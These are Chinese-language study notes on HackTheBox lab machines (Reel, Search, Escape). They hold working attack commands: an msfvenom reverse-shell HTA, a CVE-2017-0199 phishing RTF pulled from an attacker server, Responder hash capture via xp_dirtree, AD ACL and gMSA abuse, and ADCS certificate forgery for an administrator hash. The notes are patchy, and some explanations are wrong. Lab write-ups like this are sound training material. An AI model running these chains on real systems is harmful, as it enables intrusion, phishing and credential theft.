” 用于一种特别类型的 SMTP。 -
MAIL FROM
:这个命令告诉服务器谁在发送该电子邮件。如果 Alice 试图给她的朋友 Bob 发电子邮件,客户端可能会发送 “MAIL FROM:alice@example.com”。 -
RCPT TO
:这个命令用于列出电子邮件的收件人。如果有多个收件人,客户端可多次发送该命令。如上例子中,Alice 的电子邮件客户端将发送: “RCPT TO: bob@example.com"。 -
DATA
:这个命令放在电子邮件的内容前,例如:
DATA Date: Mon, 4 April 2022 From: Alice alice@example.com Subject: Eggs benedict casserole To: Bob bob@example.com Hi Bob, I will bring the eggs benedict casserole recipe on Friday. -Alice .
-
RSET
:该命令重置连接,删除所有以前传输的信息,但不关闭 SMTP 连接。RSET
在客户端发送了错误信息的情况下使用。 -
QUIT
:结束连接。
smtp-user-enum -M RCPT -U test-users.txt -t 10.10.10.77
-M RCPT
表示使用RCPT(Recipient)模式,该模式主要用于验证电子邮件服务器上的有效用户。
RTF文件(Rich Text Format):
-
定义: RTF是一种文本文件格式,旨在存储文本文档的格式化信息,例如字体、颜色和样式,而无需包含实际的二进制图像或多媒体数据。
-
用途: RTF文件通常用于在不同的文本编辑器和文档处理应用程序之间共享文本文档,因为RTF格式允许在不同应用程序之间保留文本文档的格式和外观。
-
注意事项: 尽管RTF文件主要用于文本文档,但要小心处理未知来源的RTF文件,因为它们可能包含恶意代码或链接。
HTA文件(HTML Application):
-
定义: HTA是一种由HTML和脚本组成的文件格式,它允许在本地系统上执行包含JavaScript、VBScript等脚本的HTML代码。HTA文件通常拥有本地系统的权限,并可以执行强大的系统操作。
-
用途: HTA文件常用于创建桌面应用程序或执行一些系统管理任务。由于其能够本地执行脚本并访问系统资源的特性,HTA文件可能被滥用用于恶意目的,如在渗透测试中。
-
注意事项: 由于HTA文件具有执行本地脚本的能力,打开未知来源的HTA文件可能存在风险,因为它们可能包含恶意脚本。
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.11 LPORT=443 -f hta-psh -o msfv.hta
生成hta文件木马
python CVE-2017-0199/cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.14.3/msfv.hta -t rtf -x 0
-
-M gen
:指定模式为“gen”,表示要生成恶意文档。 -
-w invoice.rtf
:将输出文件名指定为“invoice.rtf”。 -
-u http://10.10.14.3/msfv.hta
:指定负载的 URL,该负载是托管在“ http://10.10.14.3/msfv.hta ”的 HTA 文件。 -
-t rtf
:指定要生成的文档类型为 RTF。 -
-x 0
:指定要在文档中使用的图标。在本例中,它设置为 0。准备好文档后,我将启动一个 python http.server 来提供 hta 文件,启动一个 nc 侦听器来捕获我的 shell,然后发送网络钓鱼。我将使用
sendemail
以下选项:
sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.10.10.77 -v
您提供的命令似乎是尝试使用sendEmail
命令行工具发送电子邮件。以下是您使用的选项的详细说明:
-
-f 0xdf@megabank.com
:指定“发件人”电子邮件地址。 -
-t nico@megabank.com
:指定“收件人”电子邮件地址。 -
-u "Invoice Attached"
:指定电子邮件主题。 -
-m "You are overdue payment"
:指定电子邮件消息。 -
-a invoice.rtf
:将名为“invoice.rtf”的文件附加到电子邮件中。 -
-s 10.10.10.77
:指定 SMTP 服务器的 IP 地址(假设10.10.10.77
在本例中)。 -
-v
:启用详细模式,为调试提供更详细的输出。
nc -lvnp 443
这是Powershell 凭据(SecureString、PSCredentials)
在nico的桌面上,有一个文件cred.xml
: 里面说 PSCredential ,还有一些密码和账号
PowerShell 有一个名为 PSCredential 的对象,它提供了一种存储用户名、密码和凭据的方法。还有两个函数Import-CliXml
和Export-CliXml
,用于将这些凭据保存到文件中以及从文件中恢复它们。该文件是 的输出Export-CliXml
。
我可以通过使用 加载文件Import-CliXml
,然后转储结果来从文件中获取明文密码:
C:\Users\nico\Desktop>powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *" UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB powershell -c:这部分命令正在启动 PowerShell 解释器的新实例,并指定应执行以下命令。 $cred = Import-CliXml -Path cred.xml: Import-CliXml:此 cmdlet 用于从 CliXml 文件(cred.xml在本例中)导入数据。 -Path cred.xml:指定包含要导入的序列化对象(如凭据)的 CliXml 文件的路径。 $cred:将导入的数据分配给变量$cred。 $cred.GetNetworkCredential() | Format-List *: $cred.GetNetworkCredential():这会调用GetNetworkCredential()对象的方法$cred。该GetNetworkCredential()方法用于检索NetworkCredential与存储的凭证关联的对象。UserName该对象包含、Password、Domain等属性。 |:这是管道运算符,它获取左侧的输出并将其作为输入传递到右侧。 Format-List *:此 cmdlet 将输出格式化为列表(*表示所有属性)并显示它。这是一种可视化对象属性的方法NetworkCredential
ssh tom@10.10.10.77
Tom 的桌面上有一个名为“AD Audit”的目录。其中,有一个note.txt
:
发现:
令人惊讶的是,没有从用户到域管理员的 AD 攻击路径(使用默认的最短路径查询)。
也许我们应该对我们创建的其他组重新运行 Cypher 查询。
更深一些的目录,有更多的文件:
C:\users\tom\desktop\AD Audit\BloodHound\Ingestors> dir Directory: C:\users\tom\desktop\AD Audit\BloodHound\Ingestors Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 11/16/2017 11:50 PM 112225 acls.csv -a--- 10/28/2017 9:50 PM 3549 BloodHound.bin -a--- 10/24/2017 4:27 PM 246489 BloodHound_Old.ps1 -a--- 10/24/2017 4:27 PM 568832 SharpHound.exe -a--- 10/24/2017 4:27 PM 636959 SharpHound.ps1
acls.cvs
看起来特别有趣。把它拉回来。C:\users\tom\desktop\AD Audit\BloodHound\Ingestors> dir
Before breaking out Bloodhound, it’s useful to understand the kind of data that we’re working with. Here’s an example row:
ObjectName | ObjectType | ObjectGuid | PrincipalName | PrincipalType | ActiveDirectoryRights | ACEType | AccessControlType | IsInherited |
---|---|---|---|---|---|---|---|---|
herman@HTB.LOCAL | USER | nico@HTB.LOCAL | USER | WriteOwner | AccessAllowed | False |
Scanning for Active Directory Privileges & Privileged Accounts – Active Directory Security 有时间可以看看,里面是对权限的解释等
LibreOffice Calc(又称Calc) 是LibreOffice生产力软件的项目之一。是与Microsoft Excel功能相当的电子表格软件,并可以开启或存储为Microsoft Excel的文件格式,也可存为.pdf格式。
CSV 代表“逗号分隔值”。它是一种简单且广泛使用的文件格式,用于以纯文本形式存储表格数据(数字和文本),其中文件的每一行代表一行数据,每行内的值用逗号(或其他分隔符)分隔。
这一行表示对于 USER 对象 herman,nico 具有 WriteOwner 权限。adsecurity.org 上的这篇博客文章详细介绍了这些权利如何运作以及如何利用它们,但这使 nico 对 Herman 有很大的控制权。
我将把 csv 加载到 LibreOffice Calc 中,将数据设置到带有过滤器的表格中,然后冻结标题行。然后,要查看 Tom 拥有哪些对象的权限,我将对 Tom 进行过滤:
所以 Tom 对 claire 拥有 WriteOwner 权限:
如果我对 claire 执行相同的过滤器,我将看到 claire 对 Backup_Admins 组对象具有 WriteDacl 权限:
由于 Backup_Admins 听起来很有潜力,所以这将是我的计划。
利用bloodhound
该WriteOwner
权限是 Windows 安全和访问控制上下文中的特定权限。此权限允许用户或组修改对象的所有者。换句话说,它授予更改被视为特定资源所有者的安全主体的能力。以下是与权限相关的关键概念的简要说明WriteOwner
:
-
所有者: Windows 中的每个安全对象(例如文件、文件夹、注册表项等)都有一个关联的所有者。所有者通常是安全主体(用户或组),被认为是对象的主要权限。所有者拥有与该对象相关的某些权利和责任。
-
WriteOwner 权限:该
WriteOwner
权限允许用户或组更改对象的所有者。这意味着他们可以将所有权转移给另一个安全主体。
要移至 claire 帐户,我将使用 WriteOwner 权限以及 PowerView 的功能来执行以下步骤:
-
Become owner of claire’s ACL
-
Get permissions on that ACL
-
Use those permissions to change the password
-
ACL 代表“访问控制列表”。ACL 是与对象关联的权限或规则列表,指定哪些用户或系统进程被授予访问该对象的权限以及允许他们执行哪些操作。
在操作系统、文件系统和网络资源的上下文中,ACL 用于控制对各种资源(例如文件、目录和网络共享)的访问。ACL 定义谁可以访问资源、他们可以执行哪些操作(例如读、写、执行)以及在什么条件下执行。
需要PowerView 和 PowerShell(powershell直接输入命令powershell就可以)
接下来,我将把 Tom 设置为 claire 的 ACL 的所有者:
Set-DomainObjectOwner -identity claire -OwnerIdentity tom
接下来,我将授予 Tom 更改该 ACL 上的密码的权限:
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
现在,我将创建一个凭据,然后设置克莱尔的密码:
$cred = ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force
Set-DomainUserPassword -identity claire -accountpassword $cred
利用该密码
ssh claire@10.10.10.77
通过之前的分析,我知道claire对Backup_Admins组有WriteDacl权限。我可以用它来将她添加到群组中。首先,查看该组的唯一成员是 ranj:
net group backup_admins
现在添加克莱尔:
net group backup_admins claire /add
net group backup_admins 可以看到有他了
尽管事实上它显示克莱尔现在在群组中,但我必须注销并重新登录才能使其生效
以 claire 身份返回 Backup_Admins,我可以检查Administrator 文件夹的权限但是看不了root,txt,来到以下目录
claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>dir
查看脚本,在最顶部BackupScript.ps1
,有这样的内容:
# admin password $password="Cr4ckMeIfYouC4n!"
使用管理员密码,我可以以管理员身份 ssh 登录,并获取标志:
ssh administrator@10.10.10.77
python cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.16.11/msfv.hta -t rtf -x 0
Search
how to open xlsx file in kali linux-掘金
如何将 JSON 文件转换为 Microsoft Excel|微软|编辑器|json|文件名_网易订阅
如何将 JSON 文件转换为 Microsoft Excel
GitHub - 0xZDH/BridgeKeeper: Scrape, Hunt, and Transform names and usernames 将已生成的名称列表转换为用户名:
它显示“将密码发送给 Hope Sharp”,下一行显示IsolationIsKey?。这可能是用户名,也可能是密码。
X-Powered-By
头显示ASP.NET
,这意味着我应该期待.aspx
文件。
/certsrv
并/certenroll
表明该服务器是证书颁发机构的一部分。
访问/certsrv
请求身份验证,/certenroll
只返回403。
根据上面的用户创建Hope Sharp的可能用户列表
hope hope.sharp hopesharp .................
web_svc @3ONEmillionbaby
下面尝试一下看有没有密码复用
下面这一句话可以将json中的user提取出来
https://www.youtube.com/watch?v=cChCGrBNqFg&t=23s 这个视频打完后食用
cat domain_users.json | jq -r '.[].attributes.sAMAccountName[]' > ../users.txt
crackmapexec smb 10.10.11.129 -u users.txt -p passwords.txt --continue-on-success | grep -F '[+]'
Edgar.Jacobs
smb登入
smb: \edgar.jacobs> get Desktop\Phishing_Attempt.xlsx
libreoffice Phishing_Attempt.xlsx 打开查看文件(这个是表2)
C 列被隐藏,尝试取消隐藏它会弹出:(双击黑线)
Unprotect Excel Sheet [Remove Excel Password in 5 Mins] Unprotect Excel Sheet Online 如何取消execl的密码保护
先新建一个文件夹,把xlsx文件放进去
现代 Office 文档只是内部包含 XML 文件的 Zip 存档。我将解压缩该文件:
oxdf@hacky$ unzip Phishing_Attempt.xlsx Archive: Phishing_Attempt.xlsx inflating: [Content_Types].xml inflating: _rels/.rels inflating: xl/workbook.xml inflating: xl/_rels/workbook.xml.rels inflating: xl/worksheets/sheet1.xml inflating: xl/worksheets/sheet2.xml inflating: xl/theme/theme1.xml inflating: xl/styles.xml inflating: xl/sharedStrings.xml inflating: xl/drawings/drawing1.xml inflating: xl/charts/chart1.xml inflating: xl/charts/style1.xml inflating: xl/charts/colors1.xml inflating: xl/worksheets/_rels/sheet1.xml.rels inflating: xl/worksheets/_rels/sheet2.xml.rels inflating: xl/drawings/_rels/drawing1.xml.rels inflating: xl/charts/_rels/chart1.xml.rels inflating: xl/printerSettings/printerSettings1.bin inflating: xl/printerSettings/printerSettings2.bin inflating: xl/calcChain.xml inflating: docProps/core.xml inflating: docProps/app.xml
每个工作表都有一个 .xml 格式的 XML 文件xl/worksheets/
。数据本身不受保护。只有一个密码可以防止修改(例如查看数据)。数据本身未加密。网上有很多像这样的教程,解释如何删除这种保护。
有关保护的信息位于xl/worksheets/sheet2.xml
:
具体来说就是这个标签:
<sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue="U9oZfaVCkz5jWdhs9AA8nA==" spinCount="100000" sheet="1" objects="1" sce
接下来就是要将这段删除掉
cp Phishing_Attempt.xlsx Phishing_Attempt-mod.zip
然后直接打开
然后利用vim打开,删除上面的那段保护代码,然后保存后提示存档管理器发出警告:我将单击“update”,现在更改已在存档中进行。现在我可以将扩展名更改回.xlsx
,并在 Libre Office 中打开它。工作表名称的锁消失了,里面是密码集合
crackmapexec
可以检查这些密码。我真的不想尝试每个用户的每个密码,而只想尝试每个用户的关联密码。这条推文表明,这个不直观的命名--no-bruteforce
选项将做到这一点:
crackmapexec smb 10.10.11.129 -u xlsx_users.txt -p xlsx_passwords.txt --no-bruteforce --continue-on-success
Sierra.Frye 与$$49=wide=STRAIGHT=jordan=28$$18
.
回到 Bloodhound,我会将 Sierra.Fry 标记为已拥有。现在,“从拥有的原则到域管理员的最短路径”带来了一些不错的结果:
通过加入伯明翰-ITSEC(即 ITSEC),Sierra.Frye 拥有ReadGMSAPassword
超过 BIR-ADFS-GMSA 的能力。该帐户拥有GenericAll
域管理员 Tristan.Davies 的权限。
组托管服务帐户 (GMSA) 是 Windows 服务器通过为帐户生成长随机密码来管理帐户密码的地方。本文介绍如何创建 GMSA,以及如何管理该密码的 ACL。它还演示了如何使用 PowerShell 转储服务帐户的 GMSA 密码。我将遵循相同的步骤:
PS C:\Users\Sierra.Frye\Documents> $gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword' PS C:\Users\Sierra.Frye\Documents> $mp = $gmsa.'msDS-ManagedPassword' PS C:\Users\Sierra.Frye\Documents> ConvertFrom-ADManagedPasswordBlob $mp Version : 1 CurrentPassword : ꪌ絸禔හॐ뒟娯㔃ᴨ蝓㣹瑹䢓疒웠ᇷꀠ믱츎孻勒壉馮ၸ뛋귊餮꤯ꏗ춰䃳ꘑ畓릝樗껇쁵藫䲈酜⏬궩Œ痧蘸朘嶑侪糼亵韬⓼ↂᡳ춲⼦싸ᖥ裹沑᳡扚羺歖㗻෪ꂓ㚬⮗㞗ꆱ긿쾏㢿쭗캵십ㇾେ͍롤 ᒛ�䬁ማ譿녓鏶᪺骲雰騆惿閴滭䶙竜迉竾ﵸ䲗蔍瞬䦕垞뉧⩱茾蒚⟒澽座걍盡篇 SecureCurrentPassword : System.Security.SecureString PreviousPassword : SecurePreviousPassword : QueryPasswordInterval : 3062.06:26:26.3847903 UnchangedPasswordInterval : 3062.06:21:26.3847903
-
$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
:-
通过
Get-ADServiceAccount
cmdlet获取名为'BIR-ADFS-GMSA'的托管服务帐户的信息。 -
使用
-Properties 'msDS-ManagedPassword'
参数来获取额外的属性,其中包括msDS-ManagedPassword
,这是管理密码的属性。
-
-
$mp = $gmsa.'msDS-ManagedPassword'
:-
将管理密码属性的值存储在变量
$mp
中。这是一个二进制数据,通常以字节数组的形式存储。
-
-
ConvertFrom-ADManagedPasswordBlob $mp
:-
使用
ConvertFrom-ADManagedPasswordBlob
cmdlet将$mp
中的二进制数据转换为可读的格式。 -
这个过程涉及将二进制数据转换为ManagedPasswordBlob对象,以便更容易查看和理解管理密码的信息。
-
该CurrentPassword
字段看起来像是乱码,但这就是 GMSA 的意义所在。尽管如此,我还是可以使用它。我将其保存在一个变量中:
PS C:\Users\Sierra.Frye\Documents> (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword ꪌ絸禔හॐ뒟娯㔃ᴨ蝓㣹瑹䢓疒웠ᇷꀠ믱츎孻勒壉馮ၸ뛋귊餮꤯ꏗ춰䃳ꘑ畓릝樗껇쁵藫䲈酜⏬궩Œ痧蘸朘嶑侪糼亵韬⓼ↂᡳ춲⼦싸ᖥ裹沑᳡扚羺歖㗻෪ꂓ㚬⮗㞗ꆱ긿쾏㢿쭗캵십ㇾେ͍롤ᒛ�䬁ማ譿녓鏶᪺骲雰騆惿閴滭䶙竜迉竾ﵸ䲗蔍瞬䦕垞뉧⩱ 茾蒚⟒澽座걍盡篇 PS C:\Users\Sierra.Frye\Documents> $password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword PS C:\Users\Sierra.Frye\Documents> $SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
-
(ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
:-
使用
ConvertFrom-ADManagedPasswordBlob
cmdlet,将$mp
中的二进制数据转换为可读格式。 -
通过
.CurrentPassword
属性,提取管理密码的当前密码值。
-
-
$password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
:-
将管理密码的当前密码值存储在变量
$password
中,以便后续的处理。
-
-
$SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
:-
同样使用
ConvertFrom-ADManagedPasswordBlob
cmdlet,通过.SecureCurrentPassword
属性,提取管理密码的当前密码值的安全字符串(SecureString)。 -
这个操作可能是为了以更安全的方式处理密码,SecureString 是一种加密的字符串类型,通常用于存储敏感信息。
-
I’ll use Invoke-Command
to run as BIR-ADFS-GSMA$ using a PSCredential
object created using that accounts password from above:
创建新密码
PS C:\Users\Sierra.Frye\Documents> $cred = New-Object System.Management.Automation.PSCredential BIR-ADFS-GMSA, $SecPass PS C:\Users\Sierra.Frye\Documents> Invoke-Command -ComputerName 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText '0xdf0xdf!!!' -force)} -Credential $cred Invoke-Command 允许在远程计算机上执行命令,而不仅仅是在本地计算机上执行。 在你的示例中,通过指定 -ComputerName 127.0.0.1,你将命令发送到了本地计算机。 脚本块执行: 使用 -ScriptBlock 参数,你可以指定在远程计算机上执行的脚本块。在你的示例中,脚本块包含了设置 Active Directory 帐户密码的命令。 凭据传递: 通过 -Credential $cred 参数,你可以指定在远程计算机上执行脚本块时使用的凭据。 这对于确保在远程计算机上以正确的身份执行命令非常重要。
事实上它写着“Pwn3d!” 旁边意味着该用户是管理员,这意味着 PSexec 之类的东西将获得 shell。
wmiexec.py 'search/tristan.davies:0xdf0xdf!!!@10.10.11.129'
Set-ADAccountPassword
:
-
属于
ActiveDirectory
模块。 -
用于设置Active Directory中用户、计算机或服务帐户的密码。
-
可以在单个命令中为帐户设置密码,也支持密码重置等操作。
Set-DomainUserPassword
:
-
属于
MSOnline
模块,该模块通常与 Azure Active Directory 相关。 -
用于设置 Azure Active Directory 中用户的密码。
-
主要用于管理 Azure AD 帐户,而不是传统的本地 Active Directory。
法2
ITSEC
该用户是拥有ReadGMSAPassword
帐户权限的组的成员BIR-ADFS-GMSA
,GMSA 表示组管理服务帐户,在活动目录中,更改服务帐户密码很麻烦,因此该 gmsa 帐户负责服务帐户密码,并且它的哈希值并不容易破解是随机生成的
所以我们可以读取这个帐户的哈希值,然后使用它来登录,以便读取我gMSADumper.py
从 github使用的内容
这已经存在genericall
于该帐户上,并且Tristan.Davies
该帐户是该帐户的成员,因此我们在获得该用户后几乎可以危害域控制器,因此这很容易被滥用,因为 AD 中的所有内容都是对象,并且该用户被视为对象。我们可以设置这个对象的权限,甚至可以在不知情的情况下更改他的密码Enterprise Admin``Administrator``Domain Admin
1.
Winrm在这台机器上被完全禁用,并且在近50个用户root这台机器后被禁用,winrm不应该在这台机器上运行(至少他们在discord中告诉的),因此具有获取远程会话的功能我们可以简单地以拥有该帐户的帐户身份登录genericall
,这意味着我们可以使用该用户帐户执行任何操作,因此只需更改密码即可net user username password
现在我们可以使用 impacketsecretsdump.py
转储所有密码哈希值
2.
由于 winrm 被禁用,并且没有任何方法可以获取 shell 并通过net user
另一种方式更改密码,因为rpcclient
允许传递哈希,我们可以使用BIR-ADFS-GMSA
他的密码哈希登录并使用此命令更改密码
setuserinfo2 Tristan.Davies 23 'arzismol'
现在只需使用 impacket 的 Secretsdump.py 转储哈希值
但是 winrm 被禁用了,所以问题是我们如何获得 shell?我们可以使用crackmapexec检查是否获得“pwned”状态
我尝试过smbexec
,但psexec
都失败了,但wmiexec
成功了
Escape
user PublicUser and password GuestUserCantWrite1 .
3269/tcp open ssl/ldap
Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.sequel.htb
我将更深入地了解正在使用的 TLS 证书,使用openssl
拉取和格式化它:
我将更深入地了解正在使用的 TLS 证书,使用openssl
拉取和格式化它:
oxdf@hacky$ openssl s_client -showcerts -connect 10.10.11.202:3269 | openssl x509 -noout -text ...[snip]... Certificate: Data: Version: 3 (0x2) Serial Number: 1e:00:00:00:04:90:52:7b:fc:91:38:74:2f:00:00:00:00:00:04 Signature Algorithm: sha256WithRSAEncryption Issuer: DC = htb, DC = sequel, CN = sequel-DC-CA Validity Not Before: Nov 18 21:20:35 2022 GMT Not After : Nov 18 21:20:35 2023 GMT Subject: CN = dc.sequel.htb Subject Public Key Info: Public Key Algorithm: rsaEncryption ...[snip]...
有趣的是,请注意颁发证书的证书颁发机构,续集-DC-CA。
登入mssql后没发现什么有用的信息
该服务器上有四个数据库:
SQL (PublicUser guest@master)> select name from master..sysdatabases; name ------ master tempdb model msdb
这些是MSSQL 上的四个默认数据库。
responder
sudo python3 Responder.py -I tun0
LLMNR、NBNS和MDNS协议主要作用都是在DNS服务器解析失败后,尝试对windows主机名称进行解析,正因为默认启用、且实现方式又类似于ARP协议,并没有一个认证的过程,所以就会引发各种基于这两种协议的欺骗行为,而Responder正是通过这种方式,欺骗受害机器,并使受害机器在后续认证中发送其凭证。
例如当域内win10主机在ping 一个不存在的主机名时,会按照下列流程尝试解析(win10和win7有不同表现):
1.查看本地hosts文件 2.查找DNS缓存,windows可使用命令 ipconfig/displaydns 查看 3.DNS服务器 4.尝试LLMNR、NBNS和MDNS协议进行解析
根据上述知识,我们知道了responder如何欺骗受害主机,那么为什么受害主机会发送NTLM v2 Hash呢?这就涉及到NTLM认证的知识了,早期SMB协议在网络上传输明文口令,后来微软进行了改进推出了NTLMv1会话协议,由于NTLMv1也很脆弱,所以后来就有了NTLM v2以及Kerberos验证体系,目前winserver 2008及以后的windows版本默认均是使用NetNTLMv2的,默认使用NTLMv1的有2003、XP这些机器。
windows基于NTLM认证的有SMB、HTTP、LDAP、MSSQL等,responder可以通过模拟正常的SMB协议从而获得受害机器的NTLMV2 hash值,NTLM v2**不能直接应用于Pass The Hash攻击,只能通过暴力破解来获取明文密码。而攻击者获取NTLMv1 hash后,可以直接还原出NTLM HASH,这样的话就可以将NTLM HASH直接用于Pass The Hash攻击**,相较于NTLM v2还需要破解才能利用更加不安全。
利用mssql读取主机上共享上的文件:
EXEC xp_dirtree '\10.10.14.6\share', 1, 1;
-
'\\10.10.14.6\share'
:-
这是路径参数,指定要检索其列表的目录。
-
它应该是文件系统上的有效路径,在本例中,它是 IP 地址为“10.10.14.6”且共享名称为“share”的网络共享。
-
-
1
:-
这是深度参数。
-
它指定要检索的目录列表的深度级别。在本例中,它设置为“1”,意味着仅返回指定目录中的直接文件和子目录。
-
-
1
:-
这是标志参数。
-
它控制输出格式以及有关文件和目录的附加信息。
-
当设置为“1”时,它包括附加信息,例如文件或目录大小和日期。
-
总之,xp_dirtree
在此上下文中,执行该过程以列出位于“\10.10.14.6\share”的网络共享中的文件和子目录。它检索目录直接级别的信息,输出包括文件或目录大小和日期等详细信息。
responder的监听就会返回hash值
sql_svc::sequel:903888d6cc8311eb:761B09654C1B356477D996132AA281B9:01010000000000A421ABF13EDA01CEEF3E482DEEB823000000000200080032004C004700330001001E00570049004E002D00500043004B004B0057004500510045005400310004003400570049004E002D00500043004B004B0057004500450051004500540031002E0032004C00470033004C004F00430041004C000300140032004C00470033002E004C004F00430041004C000500140032004C00470033002E004C004F0043004C000700080000A421ABF13EDA010600040002000000080030003000000000000000000000000030000067ADCAB21C720CA2FAD053862578BC37126CD711F3E9C534A2C6BC18B4670A001000000000000000000000000000000000000900200063006900660073002F0030002E00310030002E00310036002E00310036000000000000000000
利用hashcat破解
5600 | NetNTLMv2
evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie
Ryan.Cooper
枚举到C:\SQLServer\Logs> type ERRORLOG.BAK
查看后发现有个logon Ryan.Cooper failed 后面有个密码,尝试一下
evil-winrm -i 10.10.11.202 -u ryan.cooper -p NuclearMosquito3
Windows 域中始终需要枚举的一件事是查找 Active Directory 证书服务 (ADCS)。检查这一点的快速方法是使用crackmapexec
(它可以作为 sql_svc 或 Ryan.Cooper):
crackmapexec ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs
-M adcs
: 这指定了要使用的模块,即 adcs
。在这个上下文中,adcs
可能是指与 Active Directory Certificate Services 相关的模块,用于测试与证书服务有关的漏洞或配置。
这边这个尝试没有成功
扩展
ADCS 指的是 Active Directory Certificate Services,它是 Windows 操作系统中的一个角色或服务,用于建立和维护一个 PKI(Public Key Infrastructure,公钥基础设施)环境。PKI 是一种安全框架,通过使用数字证书和公钥加密技术来提供网络通信的机密性和完整性。
Active Directory Certificate Services 提供以下功能:
-
证书颁发机构(CA): ADCS 包括一个或多个 CA,负责签发数字证书。这些证书用于验证网络上的实体(如计算机、用户等)。
-
注册机构(RA): 可选的注册机构充当 CA 的代理,接收证书请求并将其传递给 CA 进行处理。
-
证书撤销列表(CRL): CRL 是一个列表,包含已经被吊销的证书的信息。客户端可以检查 CRL 以验证证书的有效性。
-
自动注册: ADCS 支持自动注册,使设备能够向 CA 自动请求证书。
-
证书模板: 定义了颁发证书的规则和要求的模板。这些模板允许管理员定义证书的用途、有效期等。
-
密钥存储: ADCS 提供安全的密钥存储,用于存储和保护私钥。
ADCS 对于建立安全通信和身份验证非常重要,特别是在企业网络中。通过使用 ADCS,组织能够管理和控制数字证书的创建、分发和管理,从而确保网络通信的安全性。
https://posts.specterops.io/certified-pre-owned-d95910965cd2这个是adcs的扩展
upload Certify.exe
.\Certify.exe find /vulnerable /currentuser
会列出一个易受攻击的证书模板
-
模板名称:我们这里有“UserAuthentication”模板,可用于通过 Kerberos 或 LDAP 对用户进行身份验证。
-
注册权限:提到该域的域用户可以注册证书。由于我们的用户 Ryan 是域用户的一部分,因此我们可以使用他的帐户。
-
msPKI-Certificate-Name-Flag:它提到“ENROLLEE SUPPLIES SUBJECT”,这意味着我们可以向证书模板提供主题。在这种情况下,我们将添加主题“altname”,它指的是替代名称[我们将使用管理员作为替代名称,然后代表管理员获取证书,稍后我们将使用该证书以管理员身份进行身份验证。]
Certify.exe
我可以通过接下来运行以请求具有管理员备用名称的证书来继续自述文件场景 3 。它返回一个cert.pem
:
.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator
ca:CA Name template:Template Name
自述文件和该输出的末尾都显示了下一步。我会将所有内容复制-----BEGIN RSA PRIVATE KEY-----
到-----END CERTIFICATE-----
主机上的文件中,并.pfx
使用给定的命令将其转换为 a,出现提示时不输入密码:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
我将上传cert.pfx
以及Rubeus的副本(从SharpCollection下载),然后运行asktgt
命令,向其传递证书以作为管理员获取 TGT:
.\Rubeus.exe asktgt /user:administrator /certificate:C:\programdata\cert.pfx
有用!但是,Rubeus 尝试将返回的票证直接加载到当前会话中,因此理论上,一旦我运行此命令,我就可以进入管理员的文件夹并获取标志。然而,这对 Evil-WinRM 不起作用。
相反,我将使用 运行相同的命令/getcredentials /show /nowrap
。这将执行相同的操作,并尝试转储有关帐户的凭据信息:
.\Rubeus.exe asktgt /user:administrator /certificate:C:\programdata\cert.pfx /getcredentials /show /nowrap
最后一行是管理员帐户的 NTLM 哈希值。
完成同样事情的替代工具是Certipy,它很好,因为我可以从我的虚拟机远程运行它。它有一个find
命令可以识别易受攻击的模板:不过这个我没有尝试
certipy find -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -text -stdout -vulnerable
并允许我像上面一样req
获得证书:.pfx``Certify.exe``openssl
certipy req -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -upn administrator@sequel.htb -ca sequel-dc-ca -template UserAuthentication
该auth
命令将获取该证书 ( administrator.pfx
) 并获取哈希值。
certipy auth -pfx administrator.pfx
Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
白银票据(How Attackers Use Kerberos Silver Tickets to Exploit Systems – Active Directory Security)
自己的理解:相当于就是tgs发送的AT是在本地伪造的(AT中的一部分是需要server密钥解密码的得到cs_sk对另一部分解密,里面部分信息和客户端第二部分内容带来的自己的信息进行比对,最终确认该客户端就是经过了KDC认证的具有真实身份的客户端,是他可以提供服务的客户端),当攻击机在知道server的hash密码时,就可以本地伪造AT了,然后直接访问服务
为了创建或伪造银票,攻击者必须了解目标服务的密码数据(密码哈希)。如果目标服务在用户帐户的上下文中运行,例如 MS SQL,则需要服务帐户的密码哈希才能创建银票
通常,当我想要对 MSSQL 进行身份验证时,我会要求提供服务主体名称 (SPN) 的 Kerberos 票证。该请求发送到密钥分发中心 (KDC)(通常是域控制器),在其中查找与该 SPN 关联的用户,检查所请求的用户是否应该具有访问权限,并在几轮通信后返回用户的票证,使用服务帐户的 NTLM 哈希对其进行加密。现在,当用户将该票证提供给服务时,服务可以对其进行解密并将其用作身份验证。
